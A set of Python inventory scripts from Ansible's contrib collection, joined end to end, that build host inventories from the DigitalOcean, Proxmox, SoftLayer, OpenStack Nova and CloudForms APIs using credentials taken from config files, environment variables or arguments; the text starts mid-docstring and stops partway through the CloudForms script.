In addition to the --list and --host options used by Ansible, there are options
for generating JSON of other DigitalOcean data.  This is useful when creating
droplets.  For example, --regions will return all the DigitalOcean Regions.
This information can also be easily found in the cache file, whose default
location is /tmp/ansible-digital_ocean.cache).

The --pretty (-p) option pretty-prints the output for better human readability.

----
Although the cache stores all the information received from DigitalOcean,
the cache is not used for current droplet information (in --list, --host,
--all, and --droplets).  This is so that accurate droplet information is always
found.  You can force this script to use the cache with --force-cache.

----
Configuration is read from `digital_ocean.ini`, then from environment variables,
then and command-line arguments.

Most notably, the DigitalOcean API Token must be specified. It can be specified
in the INI file or with the following environment variables:
    export DO_API_TOKEN='abc123' or
    export DO_API_KEY='abc123'

Alternatively, it can be passed on the command-line with --api-token.

If you specify DigitalOcean credentials in the INI file, a handy way to
get them into your environment (e.g., to use the digital_ocean module)
is to use the output of the --env option with export:
    export $(digital_ocean.py --env)

----
The following groups are generated from --list:
 - ID    (droplet ID)
 - NAME  (droplet NAME)
 - image_ID
 - image_NAME
 - distro_NAME  (distribution NAME from image)
 - region_NAME
 - size_NAME
 - status_STATUS

When run against a specific host, this script returns the following variables:
 - do_backup_ids
 - do_created_at
 - do_disk
 - do_features - list
 - do_id
 - do_image - object
 - do_ip_address
 - do_private_ip_address
 - do_kernel - object
 - do_locked
 - de_memory
 - do_name
 - do_networks - object
 - do_next_backup_window
 - do_region - object
 - do_size - object
 - do_size_slug
 - do_snapshot_ids - list
 - do_status
 - do_vcpus

-----
```
usage: digital_ocean.py [-h] [--list] [--host HOST] [--all]
                                 [--droplets] [--regions] [--images] [--sizes]
                                 [--ssh-keys] [--domains] [--pretty]
                                 [--cache-path CACHE_PATH]
                                 [--cache-max_age CACHE_MAX_AGE]
                                 [--force-cache]
                                 [--refresh-cache]
                                 [--api-token API_TOKEN]

Produce an Ansible Inventory file based on DigitalOcean credentials

optional arguments:
  -h, --help            show this help message and exit
  --list                List all active Droplets as Ansible inventory
                        (default: True)
  --host HOST           Get all Ansible inventory variables about a specific
                        Droplet
  --all                 List all DigitalOcean information as JSON
  --droplets            List Droplets as JSON
  --regions             List Regions as JSON
  --images              List Images as JSON
  --sizes               List Sizes as JSON
  --ssh-keys            List SSH keys as JSON
  --domains             List Domains as JSON
  --pretty, -p          Pretty-print results
  --cache-path CACHE_PATH
                        Path to the cache files (default: .)
  --cache-max_age CACHE_MAX_AGE
                        Maximum age of the cached items (default: 0)
  --force-cache         Only use data from the cache
  --refresh-cache       Force refresh of cache by making API requests to
                        DigitalOcean (default: False - use cache files)
  --api-token API_TOKEN, -a API_TOKEN
                        DigitalOcean API Token
```

'''

# (c) 2013, Evan Wies <evan@neomantra.net>
#
# Inspired by the EC2 inventory plugin:
# https://github.com/ansible/ansible/blob/devel/contrib/inventory/ec2.py
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

import os
import sys
import re
import argparse
from time import time
import ConfigParser
import ast

try:
    import json
except ImportError:
    import simplejson as json

try:
    from dopy.manager import DoManager
except ImportError as e:
    sys.exit("failed=True msg='`dopy` library required for this script'")



class DigitalOceanInventory(object):

    ###########################################################################
    # Main execution path
    ###########################################################################

    def __init__(self):
        ''' Main execution path '''

        # DigitalOceanInventory data
        self.data = {}      # All DigitalOcean data
        self.inventory = {} # Ansible Inventory

        # Define defaults
        self.cache_path = '.'
        self.cache_max_age = 0
        self.use_private_network = False
        self.group_variables = {}

        # Read settings, environment variables, and CLI arguments
        self.read_settings()
        self.read_environment()
        self.read_cli_args()

        # Verify credentials were set
        if not hasattr(self, 'api_token'):
            sys.stderr.write('''Could not find values for DigitalOcean api_token.
They must be specified via either ini file, command line argument (--api-token),
or environment variables (DO_API_TOKEN)\n''')
            sys.exit(-1)

        # env command, show DigitalOcean credentials
        if self.args.env:
            print("DO_API_TOKEN=%s" % self.api_token)
            sys.exit(0)

        # Manage cache
        self.cache_filename = self.cache_path + "/ansible-digital_ocean.cache"
        self.cache_refreshed = False

        if self.is_cache_valid:
            self.load_from_cache()
            if len(self.data) == 0:
                if self.args.force_cache:
                    sys.stderr.write('''Cache is empty and --force-cache was specified\n''')
                    sys.exit(-1)

        self.manager = DoManager(None, self.api_token, api_version=2)

        # Pick the json_data to print based on the CLI command
        if self.args.droplets:
            self.load_from_digital_ocean('droplets')
            json_data = {'droplets': self.data['droplets']}
        elif self.args.regions:
            self.load_from_digital_ocean('regions')
            json_data = {'regions': self.data['regions']}
        elif self.args.images:
            self.load_from_digital_ocean('images')
            json_data = {'images': self.data['images']}
        elif self.args.sizes:
            self.load_from_digital_ocean('sizes')
            json_data = {'sizes': self.data['sizes']}
        elif self.args.ssh_keys:
            self.load_from_digital_ocean('ssh_keys')
            json_data = {'ssh_keys': self.data['ssh_keys']}
        elif self.args.domains:
            self.load_from_digital_ocean('domains')
            json_data = {'domains': self.data['domains']}
        elif self.args.all:
            self.load_from_digital_ocean()
            json_data = self.data
        elif self.args.host:
            json_data = self.load_droplet_variables_for_host()
        else:    # '--list' this is last to make it default
            self.load_from_digital_ocean('droplets')
            self.build_inventory()
            json_data = self.inventory

        if self.cache_refreshed:
            self.write_to_cache()

        if self.args.pretty:
            print(json.dumps(json_data, sort_keys=True, indent=2))
        else:
            print(json.dumps(json_data))
        # That's all she wrote...


    ###########################################################################
    # Script configuration
    ###########################################################################

    def read_settings(self):
        ''' Reads the settings from the digital_ocean.ini file '''
        config = ConfigParser.SafeConfigParser()
        config.read(os.path.dirname(os.path.realpath(__file__)) + '/digital_ocean.ini')

        # Credentials
        if config.has_option('digital_ocean', 'api_token'):
            self.api_token = config.get('digital_ocean', 'api_token')

        # Cache related
        if config.has_option('digital_ocean', 'cache_path'):
            self.cache_path = config.get('digital_ocean', 'cache_path')
        if config.has_option('digital_ocean', 'cache_max_age'):
            self.cache_max_age = config.getint('digital_ocean', 'cache_max_age')

        # Private IP Address
        if config.has_option('digital_ocean', 'use_private_network'):
            self.use_private_network = config.get('digital_ocean', 'use_private_network')

        # Group variables
        if config.has_option('digital_ocean', 'group_variables'):
            self.group_variables = ast.literal_eval(config.get('digital_ocean', 'group_variables'))

    def read_environment(self):
        ''' Reads the settings from environment variables '''
        # Setup credentials
        if os.getenv("DO_API_TOKEN"):
            self.api_token = os.getenv("DO_API_TOKEN")
        if os.getenv("DO_API_KEY"):
            self.api_token = os.getenv("DO_API_KEY")


    def read_cli_args(self):
        ''' Command line argument processing '''
        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on DigitalOcean credentials')

        parser.add_argument('--list', action='store_true', help='List all active Droplets as Ansible inventory (default: True)')
        parser.add_argument('--host', action='store', help='Get all Ansible inventory variables about a specific Droplet')

        parser.add_argument('--all', action='store_true', help='List all DigitalOcean information as JSON')
        parser.add_argument('--droplets','-d', action='store_true', help='List Droplets as JSON')
        parser.add_argument('--regions', action='store_true', help='List Regions as JSON')
        parser.add_argument('--images', action='store_true', help='List Images as JSON')
        parser.add_argument('--sizes', action='store_true', help='List Sizes as JSON')
        parser.add_argument('--ssh-keys', action='store_true', help='List SSH keys as JSON')
        parser.add_argument('--domains', action='store_true',help='List Domains as JSON')

        parser.add_argument('--pretty','-p', action='store_true', help='Pretty-print results')

        parser.add_argument('--cache-path', action='store', help='Path to the cache files (default: .)')
        parser.add_argument('--cache-max_age', action='store', help='Maximum age of the cached items (default: 0)')
        parser.add_argument('--force-cache', action='store_true', default=False, help='Only use data from the cache')
        parser.add_argument('--refresh-cache','-r', action='store_true', default=False,
                            help='Force refresh of cache by making API requests to DigitalOcean (default: False - use cache files)')

        parser.add_argument('--env','-e', action='store_true', help='Display DO_API_TOKEN')
        parser.add_argument('--api-token','-a', action='store', help='DigitalOcean API Token')

        self.args = parser.parse_args()

        if self.args.api_token:
            self.api_token = self.args.api_token

        # Make --list default if none of the other commands are specified
        if (not self.args.droplets and not self.args.regions and
                not self.args.images and not self.args.sizes and
                not self.args.ssh_keys and not self.args.domains and
                not self.args.all and not self.args.host):
            self.args.list = True


    ###########################################################################
    # Data Management
    ###########################################################################

    def load_from_digital_ocean(self, resource=None):
        '''Get JSON from DigitalOcean API'''
        if self.args.force_cache:
            return
        # We always get fresh droplets
        if self.is_cache_valid() and not (resource=='droplets' or resource is None):
            return
        if self.args.refresh_cache:
            resource=None

        if resource == 'droplets' or resource is None:
            self.data['droplets'] = self.manager.all_active_droplets()
            self.cache_refreshed = True
        if resource == 'regions' or resource is None:
            self.data['regions'] = self.manager.all_regions()
            self.cache_refreshed = True
        if resource == 'images' or resource is None:
            self.data['images'] = self.manager.all_images(filter=None)
            self.cache_refreshed = True
        if resource == 'sizes' or resource is None:
            self.data['sizes'] = self.manager.sizes()
            self.cache_refreshed = True
        if resource == 'ssh_keys' or resource is None:
            self.data['ssh_keys'] = self.manager.all_ssh_keys()
            self.cache_refreshed = True
        if resource == 'domains' or resource is None:
            self.data['domains'] = self.manager.all_domains()
            self.cache_refreshed = True


    def build_inventory(self):
        '''Build Ansible inventory of droplets'''
        self.inventory = {
                            'all': {
                                    'hosts': [],
                                    'vars': self.group_variables
                                   },
                            '_meta': {'hostvars': {}}
                        }

        # add all droplets by id and name
        for droplet in self.data['droplets']:
            #when using private_networking, the API reports the private one in "ip_address".
            if 'private_networking' in droplet['features'] and not self.use_private_network:
                for net in droplet['networks']['v4']:
                    if net['type']=='public':
                        dest=net['ip_address']
                    else:
                        continue
            else:
                dest = droplet['ip_address']

            self.inventory['all']['hosts'].append(dest)

            self.inventory[droplet['id']] = [dest]
            self.inventory[droplet['name']] = [dest]

            # groups that are always present
            for group in [
                            'region_' + droplet['region']['slug'],
                            'image_' + str(droplet['image']['id']),
                            'size_' + droplet['size']['slug'],
                            'distro_' + self.to_safe(droplet['image']['distribution']),
                            'status_' + droplet['status'],

                        ]:
                if group not in self.inventory:
                    self.inventory[group] = { 'hosts': [ ], 'vars': {} }
                self.inventory[group]['hosts'].append(dest)

            # groups that are not always present
            for group in [
                            droplet['image']['slug'],
                            droplet['image']['name']
                         ]:
                if group:
                    image = 'image_' + self.to_safe(group)
                    if image not in self.inventory:
                        self.inventory[image] = { 'hosts': [ ], 'vars': {} }
                    self.inventory[image]['hosts'].append(dest)



    def load_droplet_variables_for_host(self):
        '''Generate a JSON response to a --host call'''
        host = int(self.args.host)

        droplet = self.manager.show_droplet(host)

        # Put all the information in a 'do_' namespace
        info = {}
        for k, v in droplet.items():
            info['do_'+k] = v

        return {'droplet': info}



    ###########################################################################
    # Cache Management
    ###########################################################################

    def is_cache_valid(self):
        ''' Determines if the cache files have expired, or if it is still valid '''
        if os.path.isfile(self.cache_filename):
            mod_time = os.path.getmtime(self.cache_filename)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                return True
        return False


    def load_from_cache(self):
        ''' Reads the data from the cache file and assigns it to member variables as Python Objects'''
        try:
            cache = open(self.cache_filename, 'r')
            json_data = cache.read()
            cache.close()
            data = json.loads(json_data)
        except IOError:
            data = {'data': {}, 'inventory': {}}

        self.data = data['data']
        self.inventory = data['inventory']


    def write_to_cache(self):
        ''' Writes data in JSON format to a file '''
        data = { 'data': self.data, 'inventory': self.inventory }
        json_data = json.dumps(data, sort_keys=True, indent=2)

        cache = open(self.cache_filename, 'w')
        cache.write(json_data)
        cache.close()


    ###########################################################################
    # Utilities
    ###########################################################################

    def push(self, my_dict, key, element):
        ''' Pushed an element onto an array that may not have been defined in the dict '''
        if key in my_dict:
            my_dict[key].append(element)
        else:
            my_dict[key] = [element]


    def to_safe(self, word):
        ''' Converts 'bad' characters in a string to underscores so they can be used as Ansible groups '''
        return re.sub("[^A-Za-z0-9\-\.]", "_", word)



###########################################################################
# Run the script
DigitalOceanInventory()






#!/usr/bin/env python

# Copyright (C) 2014  Mathieu GAUTHIER-LAFAYE <gauthierl@lapth.cnrs.fr>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Updated 2016 by Matt Harris <matthaeus.harris@gmail.com>
#
# Added support for Proxmox VE 4.x
# Added support for using the Notes field of a VM to define groups and variables:
# A well-formatted JSON object in the Notes field will be added to the _meta
# section for that VM.  In addition, the "groups" key of this JSON object may be
# used to specify group membership:
#
# { "groups": ["utility", "databases"], "a": false, "b": true }

import urllib
try:
    import json
except ImportError:
    import simplejson as json
import os
import sys
from optparse import OptionParser

from six import iteritems

from ansible.module_utils.urls import open_url

class ProxmoxNodeList(list):
    def get_names(self):
        return [node['node'] for node in self]

class ProxmoxVM(dict):
    def get_variables(self):
        variables = {}
        for key, value in iteritems(self):
            variables['proxmox_' + key] = value
        return variables

class ProxmoxVMList(list):
    def __init__(self, data=[]):
        for item in data:
            self.append(ProxmoxVM(item))

    def get_names(self):
        return [vm['name'] for vm in self if vm['template'] != 1]

    def get_by_name(self, name):
        results = [vm for vm in self if vm['name'] == name]
        return results[0] if len(results) > 0 else None

    def get_variables(self):
        variables = {}
        for vm in self:
            variables[vm['name']] = vm.get_variables()

        return variables

class ProxmoxPoolList(list):
    def get_names(self):
        return [pool['poolid'] for pool in self]

class ProxmoxPool(dict):
    def get_members_name(self):
        return [member['name'] for member in self['members'] if member['template'] != 1]

class ProxmoxAPI(object):
    def __init__(self, options):
        self.options = options
        self.credentials = None

        if not options.url:
            raise Exception('Missing mandatory parameter --url (or PROXMOX_URL).')
        elif not options.username:
            raise Exception('Missing mandatory parameter --username (or PROXMOX_USERNAME).')
        elif not options.password:
            raise Exception('Missing mandatory parameter --password (or PROXMOX_PASSWORD).')

    def auth(self):
        request_path = '{}api2/json/access/ticket'.format(self.options.url)

        request_params = urllib.urlencode({
            'username': self.options.username,
            'password': self.options.password,
        })

        data = json.load(open_url(request_path, data=request_params))

        self.credentials = {
            'ticket': data['data']['ticket'],
            'CSRFPreventionToken': data['data']['CSRFPreventionToken'],
        }

    def get(self, url, data=None):
        request_path = '{}{}'.format(self.options.url, url)

        headers = {'Cookie': 'PVEAuthCookie={}'.format(self.credentials['ticket'])}
        request = open_url(request_path, data=data, headers=headers)

        response = json.load(request)
        return response['data']

    def nodes(self):
        return ProxmoxNodeList(self.get('api2/json/nodes'))

    def vms_by_type(self, node, type):
        return ProxmoxVMList(self.get('api2/json/nodes/{}/{}'.format(node, type)))

    def vm_description_by_type(self, node, vm, type):
        return self.get('api2/json/nodes/{}/{}/{}/config'.format(node, type, vm))

    def node_qemu(self, node):
        return self.vms_by_type(node, 'qemu')

    def node_qemu_description(self, node, vm):
        return self.vm_description_by_type(node, vm, 'qemu')

    def node_lxc(self, node):
        return self.vms_by_type(node, 'lxc')

    def node_lxc_description(self, node, vm):
        return self.vm_description_by_type(node, vm, 'lxc')

    def pools(self):
        return ProxmoxPoolList(self.get('api2/json/pools'))

    def pool(self, poolid):
        return ProxmoxPool(self.get('api2/json/pools/{}'.format(poolid)))

def main_list(options):
    results = {
        'all': {
            'hosts': [],
        },
        '_meta': {
            'hostvars': {},
        }
    }

    proxmox_api = ProxmoxAPI(options)
    proxmox_api.auth()

    for node in proxmox_api.nodes().get_names():
        qemu_list = proxmox_api.node_qemu(node)
        results['all']['hosts'] += qemu_list.get_names()
        results['_meta']['hostvars'].update(qemu_list.get_variables())
        lxc_list = proxmox_api.node_lxc(node)
        results['all']['hosts'] += lxc_list.get_names()
        results['_meta']['hostvars'].update(lxc_list.get_variables())

        for vm in results['_meta']['hostvars']:
            vmid = results['_meta']['hostvars'][vm]['proxmox_vmid']
            try:
                type = results['_meta']['hostvars'][vm]['proxmox_type']
            except KeyError:
                type = 'qemu'
            try:
                description = proxmox_api.vm_description_by_type(node, vmid, type)['description']
            except KeyError:
                description = None

            try:
                metadata = json.loads(description)
            except TypeError:
                metadata = {}
            except ValueError:
                metadata = {
                    'notes': description
                }

            if 'groups' in metadata:
                # print metadata
                for group in metadata['groups']:
                    if group not in results:
                        results[group] = {
                            'hosts': []
                        }
                    results[group]['hosts'] += [vm]

            results['_meta']['hostvars'][vm].update(metadata)

    # pools
    for pool in proxmox_api.pools().get_names():
        results[pool] = {
            'hosts': proxmox_api.pool(pool).get_members_name(),
        }

    return results

def main_host(options):
    proxmox_api = ProxmoxAPI(options)
    proxmox_api.auth()

    for node in proxmox_api.nodes().get_names():
        qemu_list = proxmox_api.node_qemu(node)
        qemu = qemu_list.get_by_name(options.host)
        if qemu:
            return qemu.get_variables()

    return {}

def main():
    parser = OptionParser(usage='%prog [options] --list | --host HOSTNAME')
    parser.add_option('--list', action="store_true", default=False, dest="list")
    parser.add_option('--host', dest="host")
    parser.add_option('--url', default=os.environ.get('PROXMOX_URL'), dest='url')
    parser.add_option('--username', default=os.environ.get('PROXMOX_USERNAME'), dest='username')
    parser.add_option('--password', default=os.environ.get('PROXMOX_PASSWORD'), dest='password')
    parser.add_option('--pretty', action="store_true", default=False, dest='pretty')
    (options, args) = parser.parse_args()

    if options.list:
        data = main_list(options)
    elif options.host:
        data = main_host(options)
    else:
        parser.print_help()
        sys.exit(1)

    indent = None
    if options.pretty:
        indent = 2

    print(json.dumps(data, indent=indent))

if __name__ == '__main__':
    main()






#!/usr/bin/env python
"""
SoftLayer external inventory script.

The SoftLayer Python API client is required. Use `pip install softlayer` to install it.
You have a few different options for configuring your username and api_key. You can pass 
environment variables (SL_USERNAME and SL_API_KEY). You can also write INI file to
~/.softlayer or /etc/softlayer.conf. For more information see the SL API at:
- https://softlayer-python.readthedocs.org/en/latest/config_file.html

The SoftLayer Python client has a built in command for saving this configuration file
via the command `sl config setup`.
"""

# Copyright (C) 2014  AJ Bourg <aj@ajbourg.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

#
# I found the structure of the ec2.py script very helpful as an example
# as I put this together. Thanks to whoever wrote that script!
#

import SoftLayer
import re
import argparse
try:
    import json
except:
    import simplejson as json

class SoftLayerInventory(object):
    def _empty_inventory(self):
        return {"_meta" : {"hostvars" : {}}}

    def __init__(self):
        '''Main path'''

        self.inventory = self._empty_inventory()

        self.parse_options()

        if self.args.list:
            self.get_all_servers()
            print(self.json_format_dict(self.inventory, True))
        elif self.args.host:
            self.get_virtual_servers()
            print(self.json_format_dict(self.inventory["_meta"]["hostvars"][self.args.host], True))

    def to_safe(self, word):
        '''Converts 'bad' characters in a string to underscores so they can be used as Ansible groups'''

        return re.sub("[^A-Za-z0-9\-\.]", "_", word)

    def push(self, my_dict, key, element):
        '''Push an element onto an array that may not have been defined in the dict'''

        if key in my_dict:
            my_dict[key].append(element);
        else:
            my_dict[key] = [element]

    def parse_options(self):
        '''Parse all the arguments from the CLI'''

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on SoftLayer')
        parser.add_argument('--list', action='store_true', default=False,
                           help='List instances (default: False)')
        parser.add_argument('--host', action='store',
                           help='Get all the variables about a specific instance')
        self.args = parser.parse_args()

    def json_format_dict(self, data, pretty=False):
        '''Converts a dict to a JSON object and dumps it as a formatted string'''

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

    def process_instance(self, instance, instance_type="virtual"):
        '''Populate the inventory dictionary with any instance information'''

        # only want active instances
        if 'status' in instance and instance['status']['name'] != 'Active':
            return

        # and powered on instances
        if 'powerState' in instance and instance['powerState']['name'] != 'Running':
            return

        # 5 is active for hardware... see https://forums.softlayer.com/forum/softlayer-developer-network/general-discussion/2955-hardwarestatusid
        if 'hardwareStatusId' in instance and instance['hardwareStatusId'] != 5:
            return

        # if there's no IP address, we can't reach it
        if 'primaryIpAddress' not in instance:
            return

        dest = instance['primaryIpAddress']

        self.inventory["_meta"]["hostvars"][dest] = instance

        # Inventory: group by memory
        if 'maxMemory' in instance:
            self.push(self.inventory, self.to_safe('memory_' + str(instance['maxMemory'])), dest)
        elif 'memoryCapacity' in instance:
            self.push(self.inventory, self.to_safe('memory_' + str(instance['memoryCapacity'])), dest)

        # Inventory: group by cpu count
        if 'maxCpu' in instance:
            self.push(self.inventory, self.to_safe('cpu_' + str(instance['maxCpu'])), dest)
        elif 'processorPhysicalCoreAmount' in instance:
            self.push(self.inventory, self.to_safe('cpu_' + str(instance['processorPhysicalCoreAmount'])), dest)

        # Inventory: group by datacenter
        self.push(self.inventory, self.to_safe('datacenter_' + instance['datacenter']['name']), dest)

        # Inventory: group by hostname
        self.push(self.inventory, self.to_safe(instance['hostname']), dest)

        # Inventory: group by FQDN
        self.push(self.inventory, self.to_safe(instance['fullyQualifiedDomainName']), dest)

        # Inventory: group by domain
        self.push(self.inventory, self.to_safe(instance['domain']), dest)

        # Inventory: group by type (hardware/virtual)
        self.push(self.inventory, instance_type, dest)

    def get_virtual_servers(self):
        '''Get all the CCI instances'''
        vs = SoftLayer.VSManager(self.client)
        instances = vs.list_instances()

        for instance in instances:
            self.process_instance(instance)

    def get_physical_servers(self):
        '''Get all the hardware instances'''
        hw = SoftLayer.HardwareManager(self.client)
        instances = hw.list_hardware()

        for instance in instances:
            self.process_instance(instance, 'hardware')

    def get_all_servers(self):
        self.client = SoftLayer.Client()
        self.get_virtual_servers()
        self.get_physical_servers()

SoftLayerInventory()






#!/usr/bin/env python

# (c) 2012, Marco Vito Moscaritolo <marco@agavee.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# WARNING: This file is deprecated. New work should focus on the openstack.py
# inventory module, which properly handles multiple clouds as well as keystone
# v3 and keystone auth plugins

import sys
import re
import os
import ConfigParser
from novaclient import client as nova_client
from six import iteritems

try:
    import json
except ImportError:
    import simplejson as json


sys.stderr.write("WARNING: this inventory module is deprecated. please migrate usage to openstack.py\n")

###################################################
# executed with no parameters, return the list of
# all groups and hosts

NOVA_CONFIG_FILES = [os.getcwd() + "/nova.ini",
                     os.path.expanduser(os.environ.get('ANSIBLE_CONFIG', "~/nova.ini")),
                     "/etc/ansible/nova.ini"]

NOVA_DEFAULTS = {
    'auth_system': None,
    'region_name': None,
    'service_type': 'compute',
}


def nova_load_config_file():
    p = ConfigParser.SafeConfigParser(NOVA_DEFAULTS)

    for path in NOVA_CONFIG_FILES:
        if os.path.exists(path):
            p.read(path)
            return p

    return None


def get_fallback(config, value, section="openstack"):
    """
    Get value from config object and return the value
    or false
    """
    try:
        return config.get(section, value)
    except ConfigParser.NoOptionError:
        return False


def push(data, key, element):
    """
    Assist in items to a dictionary of lists
    """
    if (not element) or (not key):
        return

    if key in data:
        data[key].append(element)
    else:
        data[key] = [element]


def to_safe(word):
    '''
    Converts 'bad' characters in a string to underscores so they can
    be used as Ansible groups
    '''
    return re.sub(r"[^A-Za-z0-9\-]", "_", word)


def get_ips(server, access_ip=True):
    """
    Returns a list of the server's IPs, or the preferred
    access IP
    """
    private = []
    public = []
    address_list = []
    # Iterate through each servers network(s), get addresses and get type
    addresses = getattr(server, 'addresses', {})
    if len(addresses) > 0:
        for network in addresses.itervalues():
            for address in network:
                if address.get('OS-EXT-IPS:type', False) == 'fixed':
                    private.append(address['addr'])
                elif address.get('OS-EXT-IPS:type', False) == 'floating':
                    public.append(address['addr'])

    if not access_ip:
        address_list.append(server.accessIPv4)
        address_list.extend(private)
        address_list.extend(public)
        return address_list

    access_ip = None
    # Append group to list
    if server.accessIPv4:
        access_ip = server.accessIPv4
    if (not access_ip) and public and not (private and prefer_private):
        access_ip = public[0]
    if private and not access_ip:
        access_ip = private[0]

    return access_ip


def get_metadata(server):
    """Returns dictionary of all host metadata"""
    get_ips(server, False)
    results = {}
    for key in vars(server):
        # Extract value
        value = getattr(server, key)

        # Generate sanitized key
        key = 'os_' + re.sub(r"[^A-Za-z0-9\-]", "_", key).lower()

        # Att value to instance result (exclude manager class)
        #TODO: maybe use value.__class__ or similar inside of key_name
        if key != 'os_manager':
            results[key] = value
    return results

config = nova_load_config_file()
if not config:
    sys.exit('Unable to find configfile in %s' % ', '.join(NOVA_CONFIG_FILES))

# Load up connections info based on config and then environment
# variables
username = (get_fallback(config, 'username') or
            os.environ.get('OS_USERNAME', None))
api_key = (get_fallback(config, 'api_key') or
           os.environ.get('OS_PASSWORD', None))
auth_url = (get_fallback(config, 'auth_url') or
            os.environ.get('OS_AUTH_URL', None))
project_id = (get_fallback(config, 'project_id') or
              os.environ.get('OS_TENANT_NAME', None))
region_name = (get_fallback(config, 'region_name') or
               os.environ.get('OS_REGION_NAME', None))
auth_system = (get_fallback(config, 'auth_system') or
               os.environ.get('OS_AUTH_SYSTEM', None))

# Determine what type of IP is preferred to return
prefer_private = False
try:
    prefer_private = config.getboolean('openstack', 'prefer_private')
except ConfigParser.NoOptionError:
    pass

client = nova_client.Client(
    version=config.get('openstack', 'version'),
    username=username,
    api_key=api_key,
    auth_url=auth_url,
    region_name=region_name,
    project_id=project_id,
    auth_system=auth_system,
    service_type=config.get('openstack', 'service_type'),
)

# Default or added list option
if (len(sys.argv) == 2 and sys.argv[1] == '--list') or len(sys.argv) == 1:
    groups = {'_meta': {'hostvars': {}}}
    # Cycle on servers
    for server in client.servers.list():
        access_ip = get_ips(server)

        # Push to name group of 1
        push(groups, server.name, access_ip)

        # Run through each metadata item and add instance to it
        for key, value in iteritems(server.metadata):
            composed_key = to_safe('tag_{0}_{1}'.format(key, value))
            push(groups, composed_key, access_ip)

        # Do special handling of group for backwards compat
        # inventory groups
        group = server.metadata['group'] if 'group' in server.metadata else 'undefined'
        push(groups, group, access_ip)

        # Add vars to _meta key for performance optimization in
        # Ansible 1.3+
        groups['_meta']['hostvars'][access_ip] = get_metadata(server)

    # Return server list
    print(json.dumps(groups, sort_keys=True, indent=2))
    sys.exit(0)

#####################################################
# executed with a hostname as a parameter, return the
# variables for that host

elif len(sys.argv) == 3 and (sys.argv[1] == '--host'):
    results = {}
    ips = []
    for server in client.servers.list():
        if sys.argv[2] in (get_ips(server) or []):
            results = get_metadata(server)
    print(json.dumps(results, sort_keys=True, indent=2))
    sys.exit(0)

else:
    sys.exit("usage: --list  ..OR.. --host <hostname>")






#!/usr/bin/python
# vim: set fileencoding=utf-8 :
#
# Copyright (C) 2016 Guido Günther <agx@sigxcpu.org>
#
# This script is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with it.  If not, see <http://www.gnu.org/licenses/>.
#
# This is loosely based on the foreman inventory script
# -- Josh Preston <jpreston@redhat.com>
#

from __future__ import print_function
import argparse
import ConfigParser
import os
import re
from time import time
import requests
from requests.auth import HTTPBasicAuth
import warnings

try:
    import json
except ImportError:
    import simplejson as json


class CloudFormsInventory(object):
    def __init__(self):
        """
        Main execution path
        """
        self.inventory = dict()  # A list of groups and the hosts in that group
        self.hosts = dict()      # Details about hosts in the inventory

        # Parse CLI arguments
        self.parse_cli_args()

        # Read settings
        self.read_settings()

        # Cache
        if self.args.refresh_cache or not self.is_cache_valid():
            self.update_cache()
        else:
            self.load_inventory_from_cache()
            self.load_hosts_from_cache()

        data_to_print = ""

        # Data to print
        if self.args.host:
            if self.args.debug:
                print("Fetching host [%s]" % self.args.host)
            data_to_print += self.get_host_info(self.args.host)
        else:
            self.inventory['_meta'] = {'hostvars': {}}
            for hostname in self.hosts:
                self.inventory['_meta']['hostvars'][hostname] = {
                    'cloudforms': self.hosts[hostname],
                }
                # include the ansible_ssh_host in the top level
                if 'ansible_ssh_host' in self.hosts[hostname]:
                    self.inventory['_meta']['hostvars'][hostname]['ansible_ssh_host'] = self.hosts[hostname]['ansible_ssh_host']

            data_to_print += self.json_format_dict(self.inventory, self.args.pretty)

        print(data_to_print)

    def is_cache_valid(self):
        """
        Determines if the cache files have expired, or if it is still valid
        """
        if self.args.debug:
            print("Determining if cache [%s] is still valid (< %s seconds old)" % (self.cache_path_hosts, self.cache_max_age))

        if os.path.isfile(self.cache_path_hosts):
            mod_time = os.path.getmtime(self.cache_path_hosts)
            current_time = time()
            if (mod_time + self.cache_max_age) > current_time:
                if os.path.isfile(self.cache_path_inventory):
                    if self.args.debug:
                        print("Cache is still valid!")
                    return True

        if self.args.debug:
            print("Cache is stale or does not exist.")

        return False

    def read_settings(self):
        """
